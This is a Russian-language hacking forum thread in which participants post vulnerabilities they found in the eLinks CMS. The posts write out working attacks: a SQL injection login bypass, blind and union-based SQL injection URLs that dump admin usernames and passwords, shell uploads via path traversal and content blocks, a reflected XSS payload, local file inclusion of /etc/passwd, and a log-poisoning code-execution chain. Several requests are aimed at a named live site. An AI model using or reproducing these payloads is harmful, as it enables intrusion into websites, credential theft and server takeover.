![]() |
[eLinks] Vulnerabilities
[eLinks] Vulnerabilities
Собственно, задание ROA#004 подтолкнуло к поиску багов в этой CMS. В этой теме предлагаю выкладывать баги найденные в ходе исследования исходников. ------------------------------------------------------------------------------ #1 [ Обход авторизации ] Необходимое условие: magic_quotes_gpc = Off Первым делом я решил проверить панель логина админки (http://[elinks]/asm_admin.php) на предмет фильтрации полей. Но, к сожалению, все POST-данные фильтровались встроенной функцией setGPC. [core/asm_config.php] PHP код:
[core/asm_function.php] PHP код:
Задав этой переменной значение word' OR member_id = '1 Получаем запрос SELECT * FROM asm_s_members WHERE session = 'word' OR member_id = '1' LIMIT 1 Так как сессии с именем 'word' существовать не может, происходит выборка данных администратора (member_id=1). Обновляем страницу и оказываемся в админке. В итоге, не зная даже логина, мы можем зайти под любым пользователем. |
Ну я проходил без сорцов, поэтому получилось очень не красиво и геморно)
#2 Слепая скуля в поиске Необходимое условие: magic_quotes_gpc = Off http://www.***.com/eLinks-search.php?action=search&word=asian'+or+1=1+and+su bstring(version(),1,1)=5--+1 Заливка шелла: В админке заходим в редактор темплейтов, редактировать темплейты прав не хватает, но с его помощью можно создавать файлы: В сорцах в форме меняем скрытое поле с именем файла на: <input type="hidden" name="template_name" value="../../../../../home/tgp/***/links/1.php"> Получаем шелл. |
xss:
/v2/searcherror.php?errormsg=<script>alert(/asd/);</script> |
Еще вариант.Получаем логин и пас админа. если не единственная запись, то выводим через limit (в нашем случае три записи юзверей+ анонимус) |
Цитата:
|
Цитата:
./modules/.htaccess PHP код:
теперь мое прохождение: Elinks LFI 1. Логинимся в asm_admin.php с любым логином и паролем; 2. получаем сообщение о неверном пароле, но, тем не менее, $_SESSION['user']['member_id']) становится равным 0 3../core/asm_config.php PHP код:
PHP код:
5. наше пхпинфо, как и прописано в коде, добавляется в ./files/logs/error.xml; 6. в ./asm_clean.php успешно проходим авторизацию PHP код:
7. идем ниже по коду и видим PHP код:
по ссылке http://yobt.com/asm_clean.php?asm=L2ZpbGVzL2xvZ3MvZXJyb3IueG1s видим вывод пхпинфо (если, конечно, авторизовались, как я писал выше) --------------- Elinks arbitrary code execution (для данного сайта не подойдет, так как админы из дистрибутива удалили дефолтный файл ./core/asm_xml_content.php, но все же) 1. ./core/asm_xml_content.php PHP код:
3. Выполняем наш код через http://elinks/core/asm_xml_content.php?page=../logs/error |
Локальный инклуд
core/xmlrpc.php PHP код:
Пример запроса: Код:
http://www.yobt.com/core/xmlrpc.php?xmlrpc_server=eLinks/../../../../../../etc/passwd%00aКод:
http://www.yobt.com/core/xmlrpc.php?xmlrpc_server=../files/logs/log.404.txt%00a |
Залить шелл можно также через Content Manager->Content Blocks
Добавляем новый блок: Name: whatever Alias: s.php Content: <?php phpinfo(); ?> Status: inactive Получаем шелл: /files/blocks/.s.php Правда на yobt.com не работало |
Еще одна скуля в поиске:
Код:
http://yobt.com/eLinks-search.php?action=result&word=asian&user_key=162280130111'+union+select%201,concat_ws(0x3a,user_login,user_pass),3,4+from+asm_s_members/* |
Привет из РОА. Кому интересно, было перемещено очень много тем, но они ушли вниз по датам, можете покопаться в созданных у мемберов, теперь они видны.
Ну а эту я апнул вот для чего: http://www.packetstormsecurity.org/0908-exploits/elinks-sqlxsslfi.txt Сравните темы. И это не единственная ==================== Inj3ct0r чмоке тебя в счоке. Всё что ты выложил под своим именем у себя и ещё где, я из группы спустил в паблик, хакер, блин. Надеюсь по датам все всё видят сами |
| Время: 11:07 |